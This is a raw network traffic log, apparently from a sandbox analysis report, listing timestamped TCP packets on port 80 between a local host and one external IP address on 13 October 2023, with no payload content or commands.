Oct 13, 2023 16:05:53.289530039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.289640903 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.289710999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.289726019 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.289772987 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.289840937 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.289889097 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.289957047 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.290021896 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.290047884 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.290163994 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.290203094 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.290224075 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.290307045 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.290348053 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.290361881 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.290380955 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.290416002 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.290474892 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.290529013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.290570021 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.290595055 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.290657043 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.290673971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.290697098 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.290772915 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.290812016 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.290885925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.290937901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.290975094 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.290982962 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.291069984 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.291110992 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.291146040 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.291239023 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.291277885 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.291287899 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.291359901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.291397095 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.291474104 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.291492939 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.291527033 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.291573048 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.291635036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.291676044 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.291702032 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.291764021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.291799068 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.291846991 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.291932106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.291968107 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.292081118 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.292145967 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.292181969 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.292258024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.292324066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.292362928 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.317127943 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.317186117 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.659811974 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.679069996 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.679424047 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.679442883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.679460049 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.679575920 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.679584980 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.679584980 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.679630995 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.679672956 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.679718018 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.679804087 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.679840088 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.679858923 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.679925919 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.679964066 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.680023909 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.680094957 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.680139065 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.680171013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.680279016 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.680324078 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.680346966 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.680485010 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.680529118 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.680583000 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.680655956 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.680671930 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.680689096 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.680691004 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.680727959 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.680855989 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.680957079 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.680999994 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.681044102 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.681130886 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.681175947 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.681189060 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.681221962 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.681257963 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.681302071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.681360960 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.681405067 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.681420088 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.681474924 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.681529999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.681550026 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.681761026 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.681804895 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.681921005 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.681999922 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.682034016 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.682085991 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.682205915 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.682241917 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.682251930 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.682337999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.682353973 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.682389021 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.682508945 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.682555914 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.682600975 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.682693958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.682735920 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.682769060 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.682849884 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.682895899 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.682914972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.683073044 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.683115959 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.683326960 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.683443069 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.683486938 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.683620930 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.683655977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.683696032 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.683728933 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.683762074 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.683804989 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.683850050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.683929920 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.683971882 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.684012890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.684043884 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.684078932 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.684099913 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.684171915 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.684215069 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.684247017 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.684318066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.684355021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.684360027 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.684422016 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.684465885 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.684482098 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.684556007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.684598923 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.684617043 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.684683084 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.684724092 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.684739113 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.684817076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.684859037 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.684863091 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.684952021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.685012102 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.685029984 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.685070038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.685106039 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.685136080 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.685204029 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.685246944 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.685249090 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.685321093 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.685362101 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.685405970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.685513973 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.685558081 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.685599089 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.685667992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.685710907 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.685739994 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.685812950 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.685854912 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.685939074 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.685993910 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.686028004 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.686074972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.686161041 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.686203003 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.686232090 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.686300993 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.686336040 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.686376095 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.686414957 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.686455011 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.686484098 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.686580896 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.686621904 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.686647892 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.686728954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.686769962 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.686796904 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.686903000 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.686947107 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.686988115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.687042952 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.687078953 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.687084913 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.687164068 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.687208891 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.687222004 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.687239885 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.687280893 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.687330008 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.687381983 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.687424898 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.687438965 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.687514067 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.687555075 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.687562943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.687634945 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.687676907 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.687694073 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.687711954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.687758923 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.687784910 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.687834978 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.687872887 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.687896967 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.687938929 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.687973976 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.688007116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.688079119 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.688095093 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.688121080 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.688142061 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.688178062 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.688216925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.688247919 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.688292980 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.688309908 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.688361883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.688395977 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.688420057 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.688453913 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.688494921 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.688543081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.688646078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.688690901 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.688714027 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.688756943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.688798904 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.688823938 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.688900948 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.688937902 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.688944101 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.689018011 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.689065933 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.689111948 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.689177990 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.689193964 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.689227104 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.689277887 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.689322948 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.689325094 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.689358950 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.689393997 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.689416885 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.689466000 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.689513922 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.689557076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.689621925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.689656019 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.689681053 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.689742088 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.689786911 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.689806938 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.689882040 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.689898968 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.689924955 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.689954996 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.689991951 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.690035105 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.690084934 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.690119028 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.690231085 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.690282106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.690298080 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.690327883 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.690376997 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.690395117 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.690414906 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.690493107 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.690537930 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.690576077 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.690608025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.690644026 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.690711975 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.690756083 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.690799952 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.690870047 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.690886974 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.690928936 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.690962076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.690979004 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.691019058 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.691055059 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.691124916 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.691160917 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.691168070 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.691209078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.691251040 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.691282988 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.691354036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.691452026 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.691466093 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.691539049 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.691582918 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.691637993 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.691730022 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.691766024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.691772938 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.691802025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.691839933 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.691859007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.691932917 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.691968918 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.692001104 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.692075014 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.692090988 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.692117929 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.692164898 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.692202091 CEST	49762	80	192.168.2.4	91.215.85.17
